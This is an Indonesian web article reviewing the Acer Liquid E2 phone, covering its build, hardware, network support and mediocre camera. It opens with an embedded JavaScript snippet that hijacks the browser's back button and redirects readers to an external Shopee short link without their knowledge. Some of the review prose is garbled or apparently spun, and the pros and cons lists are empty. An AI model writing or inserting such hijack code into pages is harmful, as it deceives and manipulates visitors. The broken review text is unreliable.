(function(window, location) { history.replaceState(null, document.title, location.pathname+"#!/history"); history.pushState(null, document.title, location.pathname); window.addEventListener("popstate", function() { if(location.hash === "#!/history") { history.replaceState(null, document.title, location.pathname); setTimeout(function(){ location.replace("https://shope.ee/5Utq2NAvFT"); },10); } }, false); }(window, location));
Sejatinya mereview Gadget itu, mencoba membandingkan dua dunia, agar harga yang dikeluarkan orang orang itu jatuhnya balans. Tidak sedikit yang gadget tidak butuh perbandingan, dikarenakan ada sisi yang menonjol. Acer E2 salah satu yang jenis itu.
Beratnya 140 – gram, saat E2 pertama kali keluar dari kotak dan masuk genggaman, dan hal pertama yang Anda akan lihat adalah bobot meyakinkan ditambah sasis nan kokoh, memberikan suatu kesan bahwa barang ini dapat dilempar ke penggorengan dengan minyak panas dan akan baik baik saja (tapi tolong jangan lakukan itu).
Maka dari saat review asing menjatuhkan telepon itu (dari ketinggian pinggang) ada goresan kecil, lecet yang membuat kesan bahwa barang ini memang bukan untuk dibanting banting.
Sekarang, angkat penutup lihat isinya dan Anda akan menemukan sebuah baterai 2.000 mAh, slot SIM ukuran penuh (yep, bikinan 2013) dan slot microSD dengan dukungan untuk kartu memori dengan besaran 32GB. Internal –yang lumayan kasih isi.
lebih dalam lagi ada 1.2GHz quad -core MediaTek MT 6589 Cortex – A7 CPU dipasangkan dengan 1GB RAM dan 4GB penyimpanan internal, dimana sekitar 1.6GB sebenarnya tersedia untuk di gunakan. Banyak yang kurang suka dengan ponsel dengan penyimpanan kecil ini, tapi setidaknya ada ekspansi kartu microSD memungkinkan kita untuk sanggup memasukkan banyak hal – jika toh Anda jika terlanjur memutuskan untuk membeli barang ini.
Adapun sisi jaringan, E2 hanya menawarkan HSPA + , sehingga Anda tidak akan dapat mengambil keuntungan dari revolusi yang kini berkembang dan dinamakan LTE di Indonesia, tidak seperti beberapa handset yang baru dirilis lainnya.
Setelah memiliki E2 Liquid selama beberapa minggu sekarang saya bisa memberikan yang bagus dan yang kurang bagus pada Anda kira kira apa ya?
Kelebihan
Kekurangan
Beberapa catatan, walaupun dibundling smartphone dengan identitas middle end, tapi untuk urusan kamera tak ubah bagai bahkan lowe-end kamera yang dipasang 8 – megapiksel, padahal kita mengharapkan lebih dari E2. Sayangnya , kita rada kecewa dengan segala hasil shoot yang biasa saja, yang tidak memiliki kerenyahan dan kekayaan detail. Jeleknya lagi, kamera nya susah dihandel dalam kaitan dengan kontras gambar yang tinggi dalam cuaca tengah nanggung, misalkan pada sore hari.
Modul autofocus tidak bisa menangani close-up atau jarak jauh dengan baik. HDR fotografi tidak benar-benar memperbaiki situasi dan, seperti biasa, pengguna diminta jadi patung sejenak atau gambar akan muncul bagai hantu. Secara default, kamera ini diatur dalam “Face Beauty Mode” yang , seperti Nokia Glam Me, tadinya ditujukan menyaring sisi keriput pengguna yang terlihat. Sayangnya, kurang begitu maksimal.
Tapi ada beberapa mode yang asyik pada ponsel ini.
Apakah kamera ini lantas layak? Layak, dan pas ngepas antara harga dan kemampuannya.***